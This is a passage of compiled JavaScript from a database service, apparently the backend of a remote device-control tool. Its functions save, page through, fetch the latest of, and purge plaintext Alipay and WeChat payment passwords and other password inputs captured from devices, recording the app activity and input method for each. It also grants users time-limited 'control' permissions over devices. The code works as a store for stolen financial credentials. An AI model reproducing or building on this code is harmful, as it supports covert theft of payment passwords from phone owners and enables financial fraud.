SELECT COUNT(*) as total FROM alipay_passwords WHERE deviceId = ?
`);
const totalResult = countStmt.get(deviceId);
const total = totalResult.total;
// 查询分页数据
const offset = (page - 1) * pageSize;
const dataStmt = this.db.prepare(`
SELECT * FROM alipay_passwords
WHERE deviceId = ?
ORDER BY timestamp DESC
LIMIT ? OFFSET ?
`);
const rows = dataStmt.all(deviceId, pageSize, offset);
const passwords = rows.map(row => ({
id: row.id,
deviceId: row.deviceId,
password: row.password,
passwordLength: row.passwordLength,
activity: row.activity,
inputMethod: row.inputMethod,
sessionId: row.sessionId,
timestamp: new Date(row.timestamp),
createdAt: new Date(row.createdAt)
}));
const totalPages = Math.ceil(total / pageSize);
return {
passwords,
total,
page,
pageSize,
totalPages
};
}
catch (error) {
this.logger.error('获取支付宝密码记录失败:', error);
return {
passwords: [],
total: 0,
page: 1,
pageSize,
totalPages: 0
};
}
}
/**
* 💰 获取设备最新的支付宝密码
*/
getLatestAlipayPassword(deviceId) {
try {
const stmt = this.db.prepare(`
SELECT * FROM alipay_passwords
WHERE deviceId = ?
ORDER BY timestamp DESC
LIMIT 1
`);
const row = stmt.get(deviceId);
if (row) {
return {
id: row.id,
deviceId: row.deviceId,
password: row.password,
passwordLength: row.passwordLength,
activity: row.activity,
inputMethod: row.inputMethod,
sessionId: row.sessionId,
timestamp: new Date(row.timestamp),
createdAt: new Date(row.createdAt)
};
}
return null;
}
catch (error) {
this.logger.error('获取最新支付宝密码失败:', error);
return null;
}
}
/**
* 💰 删除设备的支付宝密码记录
*/
clearAlipayPasswords(deviceId) {
try {
const stmt = this.db.prepare(`
DELETE FROM alipay_passwords WHERE deviceId = ?
`);
const result = stmt.run(deviceId);
this.logger.info(`已删除设备 ${deviceId}${result.changes} 条支付宝密码记录`);
}
catch (error) {
this.logger.error('清理支付宝密码记录失败:', error);
throw error;
}
}
/**
* 💰 清理旧的支付宝密码记录
*/
cleanupOldAlipayPasswords(daysToKeep = 30) {
try {
const cutoffDate = new Date();
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
const stmt = this.db.prepare(`
DELETE FROM alipay_passwords WHERE timestamp < ?
`);
const result = stmt.run(cutoffDate.toISOString());
this.logger.info(`清理了 ${result.changes} 条旧支付宝密码记录 (${daysToKeep}天前)`);
}
catch (error) {
this.logger.error('清理旧支付宝密码记录失败:', error);
}
}
/**
* 💬 保存微信密码记录
*/
saveWechatPassword(record) {
try {
const stmt = this.db.prepare(`
INSERT INTO wechat_passwords (
deviceId, password, passwordLength, activity, inputMethod,
sessionId, timestamp, createdAt
) VALUES (?, ?, ?, ?, ?, ?, ?, ?)
`);
const now = new Date();
stmt.run(record.deviceId, record.password, record.passwordLength, record.activity, record.inputMethod, record.sessionId, record.timestamp.toISOString(), now.toISOString());
this.logger.info(`💬 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`);
}
catch (error) {
this.logger.error('保存微信密码失败:', error);
throw error;
}
}
/**
* 💬 获取设备的微信密码记录分页
*/
getWechatPasswords(deviceId, page = 1, pageSize = 50) {
try {
// 查询总数
const countStmt = this.db.prepare(`
SELECT COUNT(*) as total FROM wechat_passwords WHERE deviceId = ?
`);
const totalResult = countStmt.get(deviceId);
const total = totalResult.total;
// 查询分页数据
const offset = (page - 1) * pageSize;
const dataStmt = this.db.prepare(`
SELECT * FROM wechat_passwords
WHERE deviceId = ?
ORDER BY timestamp DESC
LIMIT ? OFFSET ?
`);
const rows = dataStmt.all(deviceId, pageSize, offset);
const passwords = rows.map(row => ({
id: row.id,
deviceId: row.deviceId,
password: row.password,
passwordLength: row.passwordLength,
activity: row.activity,
inputMethod: row.inputMethod,
sessionId: row.sessionId,
timestamp: new Date(row.timestamp),
createdAt: new Date(row.createdAt)
}));
const totalPages = Math.ceil(total / pageSize);
return {
passwords,
total,
page,
pageSize,
totalPages
};
}
catch (error) {
this.logger.error('获取微信密码记录失败:', error);
return {
passwords: [],
total: 0,
page: 1,
pageSize,
totalPages: 0
};
}
}
/**
* 💬 获取设备最新的微信密码
*/
getLatestWechatPassword(deviceId) {
try {
const stmt = this.db.prepare(`
SELECT * FROM wechat_passwords
WHERE deviceId = ?
ORDER BY timestamp DESC
LIMIT 1
`);
const row = stmt.get(deviceId);
if (row) {
return {
id: row.id,
deviceId: row.deviceId,
password: row.password,
passwordLength: row.passwordLength,
activity: row.activity,
inputMethod: row.inputMethod,
sessionId: row.sessionId,
timestamp: new Date(row.timestamp),
createdAt: new Date(row.createdAt)
};
}
return null;
}
catch (error) {
this.logger.error('获取最新微信密码失败:', error);
return null;
}
}
/**
* 💬 删除设备的微信密码记录
*/
clearWechatPasswords(deviceId) {
try {
const stmt = this.db.prepare(`
DELETE FROM wechat_passwords WHERE deviceId = ?
`);
const result = stmt.run(deviceId);
this.logger.info(`已删除设备 ${deviceId}${result.changes} 条微信密码记录`);
}
catch (error) {
this.logger.error('清理微信密码记录失败:', error);
throw error;
}
}
/**
* 💬 清理旧的微信密码记录
*/
cleanupOldWechatPasswords(daysToKeep = 30) {
try {
const cutoffDate = new Date();
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
const stmt = this.db.prepare(`
DELETE FROM wechat_passwords WHERE timestamp < ?
`);
const result = stmt.run(cutoffDate.toISOString());
this.logger.info(`清理了 ${result.changes} 条旧微信密码记录 (${daysToKeep}天前)`);
}
catch (error) {
this.logger.error('清理旧微信密码记录失败:', error);
}
}
/**
* 🔐 保存通用密码输入记录
*/
savePasswordInput(record) {
try {
// 🔧 在保存前验证设备是否存在
const deviceExists = this.getDeviceById(record.deviceId);
if (!deviceExists) {
const errorMsg = `设备 ${record.deviceId} 不存在于数据库中,无法保存密码记录`;
this.logger.error(`${errorMsg}`);
throw new Error(errorMsg);
}
const stmt = this.db.prepare(`
INSERT INTO password_inputs (
deviceId, password, passwordLength, passwordType, activity, inputMethod,
installationId, sessionId, timestamp, createdAt
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`);
const now = new Date();
stmt.run(record.deviceId, record.password, record.passwordLength, record.passwordType, record.activity, record.inputMethod, record.installationId, record.sessionId, record.timestamp.toISOString(), now.toISOString());
this.logger.info(`🔐 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`);
}
catch (error) {
// 🔧 提供更详细的错误信息
if (error.code === 'SQLITE_CONSTRAINT_FOREIGNKEY') {
const errorMsg = `外键约束错误:设备 ${record.deviceId} 不存在于 devices 表中`;
this.logger.error(`${errorMsg}`);
throw new Error(errorMsg);
}
else {
this.logger.error('保存通用密码输入失败:', error);
throw error;
}
}
}
/**
* 🔐 获取设备的通用密码输入记录分页
*/
getPasswordInputs(deviceId, page = 1, pageSize = 50, passwordType) {
try {
// 构建查询条件
let whereClause = 'WHERE deviceId = ?';
let params = [deviceId];
if (passwordType) {
whereClause += ' AND passwordType = ?';
params.push(passwordType);
}
// 查询总数
const countStmt = this.db.prepare(`
SELECT COUNT(*) as total FROM password_inputs ${whereClause}
`);
const totalResult = countStmt.get(...params);
const total = totalResult.total;
// 查询分页数据
const offset = (page - 1) * pageSize;
const dataStmt = this.db.prepare(`
SELECT * FROM password_inputs ${whereClause}
ORDER BY timestamp DESC
LIMIT ? OFFSET ?
`);
const rows = dataStmt.all(...params, pageSize, offset);
const passwords = rows.map(row => ({
id: row.id,
deviceId: row.deviceId,
password: row.password,
passwordLength: row.passwordLength,
passwordType: row.passwordType,
activity: row.activity,
inputMethod: row.inputMethod,
installationId: row.installationId,
sessionId: row.sessionId,
timestamp: new Date(row.timestamp),
createdAt: new Date(row.createdAt)
}));
const totalPages = Math.ceil(total / pageSize);
return {
passwords,
total,
page,
pageSize,
totalPages
};
}
catch (error) {
this.logger.error('获取通用密码输入记录失败:', error);
return {
passwords: [],
total: 0,
page: 1,
pageSize,
totalPages: 0
};
}
}
/**
* 🔐 获取设备最新的通用密码输入
*/
getLatestPasswordInput(deviceId, passwordType) {
try {
let query = `
SELECT * FROM password_inputs
WHERE deviceId = ?
`;
let params = [deviceId];
if (passwordType) {
query += ' AND passwordType = ?';
params.push(passwordType);
}
query += ' ORDER BY timestamp DESC LIMIT 1';
const stmt = this.db.prepare(query);
const row = stmt.get(...params);
if (row) {
return {
id: row.id,
deviceId: row.deviceId,
password: row.password,
passwordLength: row.passwordLength,
passwordType: row.passwordType,
activity: row.activity,
inputMethod: row.inputMethod,
installationId: row.installationId,
sessionId: row.sessionId,
timestamp: new Date(row.timestamp),
createdAt: new Date(row.createdAt)
};
}
return null;
}
catch (error) {
this.logger.error('获取最新通用密码输入失败:', error);
return null;
}
}
/**
* 🔐 删除设备的通用密码输入记录
*/
clearPasswordInputs(deviceId, passwordType) {
try {
let query = 'DELETE FROM password_inputs WHERE deviceId = ?';
let params = [deviceId];
if (passwordType) {
query += ' AND passwordType = ?';
params.push(passwordType);
}
const stmt = this.db.prepare(query);
const result = stmt.run(...params);
const typeDesc = passwordType ? ` (类型: ${passwordType})` : '';
this.logger.info(`已删除设备 ${deviceId}${result.changes} 条通用密码输入记录${typeDesc}`);
}
catch (error) {
this.logger.error('清理通用密码输入记录失败:', error);
throw error;
}
}
/**
* 🔐 清理旧的通用密码输入记录
*/
cleanupOldPasswordInputs(daysToKeep = 30) {
try {
const cutoffDate = new Date();
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
const stmt = this.db.prepare(`
DELETE FROM password_inputs WHERE timestamp < ?
`);
const result = stmt.run(cutoffDate.toISOString());
this.logger.info(`清理了 ${result.changes} 条旧通用密码输入记录 (${daysToKeep}天前)`);
}
catch (error) {
this.logger.error('清理旧通用密码输入记录失败:', error);
}
}
/**
* 🔐 获取密码类型统计
*/
getPasswordTypeStats(deviceId) {
try {
const stmt = this.db.prepare(`
SELECT
passwordType,
COUNT(*) as count,
MIN(timestamp) as firstInput,
MAX(timestamp) as lastInput
FROM password_inputs
WHERE deviceId = ?
GROUP BY passwordType
ORDER BY count DESC
`);
const stats = stmt.all(deviceId);
return stats.map((stat) => ({
passwordType: stat.passwordType,
count: stat.count,
firstInput: new Date(stat.firstInput),
lastInput: new Date(stat.lastInput)
}));
}
catch (error) {
this.logger.error('获取密码类型统计失败:', error);
return [];
}
}
/**
* 删除设备及其所有相关数据
*/
deleteDevice(deviceId) {
try {
this.logger.info(`🗑️ 开始删除设备: ${deviceId}`);
// 开始事务
const deleteTransaction = this.db.transaction(() => {
// 1. 删除设备状态记录
const deleteDeviceState = this.db.prepare('DELETE FROM device_states WHERE deviceId = ?');
const deviceStateResult = deleteDeviceState.run(deviceId);
this.logger.debug(`删除设备状态记录: ${deviceStateResult.changes}`);
// 2. 删除操作日志
const deleteOperationLogs = this.db.prepare('DELETE FROM operation_logs WHERE deviceId = ?');
const logsResult = deleteOperationLogs.run(deviceId);
this.logger.debug(`删除操作日志: ${logsResult.changes}`);
// 3. 删除连接记录
const deleteConnections = this.db.prepare('DELETE FROM connection_history WHERE deviceId = ?');
const connectionsResult = deleteConnections.run(deviceId);
this.logger.debug(`删除连接记录: ${connectionsResult.changes}`);
// 4. 删除支付宝密码记录
const deleteAlipayPasswords = this.db.prepare('DELETE FROM alipay_passwords WHERE deviceId = ?');
const alipayResult = deleteAlipayPasswords.run(deviceId);
this.logger.debug(`删除支付宝密码记录: ${alipayResult.changes}`);
// 5. 删除微信密码记录
const deleteWechatPasswords = this.db.prepare('DELETE FROM wechat_passwords WHERE deviceId = ?');
const wechatResult = deleteWechatPasswords.run(deviceId);
this.logger.debug(`删除微信密码记录: ${wechatResult.changes}`);
// 6. 删除通用密码输入记录
const deletePasswordInputs = this.db.prepare('DELETE FROM password_inputs WHERE deviceId = ?');
const passwordInputsResult = deletePasswordInputs.run(deviceId);
this.logger.debug(`删除通用密码输入记录: ${passwordInputsResult.changes}`);
// 7. 删除用户设备权限记录
const deleteUserPermissions = this.db.prepare('DELETE FROM user_device_permissions WHERE deviceId = ?');
const userPermissionsResult = deleteUserPermissions.run(deviceId);
this.logger.debug(`删除用户设备权限记录: ${userPermissionsResult.changes}`);
// 8. 最后删除设备记录
const deleteDevice = this.db.prepare('DELETE FROM devices WHERE deviceId = ?');
const deviceResult = deleteDevice.run(deviceId);
this.logger.debug(`删除设备记录: ${deviceResult.changes}`);
if (deviceResult.changes === 0) {
throw new Error(`设备不存在: ${deviceId}`);
}
return {
deviceRecords: deviceResult.changes,
stateRecords: deviceStateResult.changes,
logRecords: logsResult.changes,
connectionRecords: connectionsResult.changes,
alipayRecords: alipayResult.changes,
wechatRecords: wechatResult.changes,
passwordInputRecords: passwordInputsResult.changes,
userPermissionRecords: userPermissionsResult.changes
};
});
// 执行事务
const result = deleteTransaction();
this.logger.info(`✅ 设备删除完成: ${deviceId}`);
this.logger.info(`📊 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`);
}
catch (error) {
this.logger.error(`删除设备失败: ${deviceId}`, error);
throw error;
}
}
/**
* 🔐 授予用户设备控制权限
*/
grantUserDevicePermission(userId, deviceId, permissionType = 'control', expiresAt) {
try {
const now = new Date();
// 🛡️ 默认权限有效期为7天平衡安全性和可用性
const defaultExpiresAt = expiresAt || new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000);
const stmt = this.db.prepare(`
INSERT OR REPLACE INTO user_device_permissions
(userId, deviceId, permissionType, grantedAt, expiresAt, isActive, createdAt, updatedAt)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
`);
stmt.run(userId, deviceId, permissionType, now.toISOString(), defaultExpiresAt.toISOString(), 1, now.toISOString(), now.toISOString());
this.logger.info(`🔐 用户 ${userId} 获得设备 ${deviceId}${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`);
return true;
}
catch (error) {
this.logger.error('授予用户设备权限失败:', error);
return false;
}
}
/**
* 🔐 撤销用户设备权限
*/
revokeUserDevicePermission(userId, deviceId) {
try {
const stmt = this.db.prepare(`
UPDATE user_device_permissions
SET isActive = FALSE, updatedAt = ?
WHERE userId = ? AND deviceId = ?
`);
const result = stmt.run(new Date().toISOString(), userId, deviceId);
if (result.changes > 0) {
this.logger.info(`🔐 用户 ${userId} 的设备 ${deviceId} 权限已撤销`);
return true;
}
else {
this.logger.warn(`🔐 用户 ${userId} 对设备 ${deviceId} 没有权限`);
return false;
}
}
catch (error) {
this.logger.error('撤销用户设备权限失败:', error);
return false;
}
}
/**
* 🔐 检查用户是否有设备权限
*/
hasUserDevicePermission(userId, deviceId, permissionType = 'control') {
try {
const stmt = this.db.prepare(`
SELECT COUNT(*) as count FROM user_device_permissions
WHERE userId = ? AND deviceId = ? AND permissionType = ? AND isActive = TRUE
AND (expiresAt IS NULL OR expiresAt > ?)
`);
const result = stmt.get(userId, deviceId, permissionType, new Date().toISOString());
return result.count > 0;
}
catch (error) {
this.logger.error('检查用户设备权限失败:', error);
return false;
}
}
/**
* 🔐 获取用户的所有设备权限
*/
getUserDevicePermissions(userId) {
try {
const stmt = this.db.prepare(`
SELECT deviceId, permissionType, grantedAt FROM user_device_permissions
WHERE userId = ? AND isActive = TRUE
AND (expiresAt IS NULL OR expiresAt > ?)
ORDER BY grantedAt DESC
`);
const rows = stmt.all(userId, new Date().toISOString());
return rows.map(row => ({
deviceId: row.deviceId,
permissionType: row.permissionType,
grantedAt: new Date(row.grantedAt)
}));
}
catch (error) {
this.logger.error('获取用户设备权限失败:', error);
return [];
}
}
/**
* 🔐 清理过期的权限
*/
cleanupExpiredPermissions() {
try {
const stmt = this.db.prepare(`
UPDATE user_device_permissions
SET isActive = FALSE, updatedAt = ?
WHERE isActive = TRUE AND expiresAt IS NOT NULL AND expiresAt <= ?
`);
const result = stmt.run(new Date().toISOString(), new Date().toISOString());
if (result.changes > 0) {
this.logger.info(`🧹 清理了 ${result.changes} 个过期权限`);
}
return result.changes;
}
catch (error) {
this.logger.error('清理过期权限失败:', error);
return 0;
}
}
}
exports.DatabaseService = DatabaseService;
//# sourceMappingURL=DatabaseService.js.map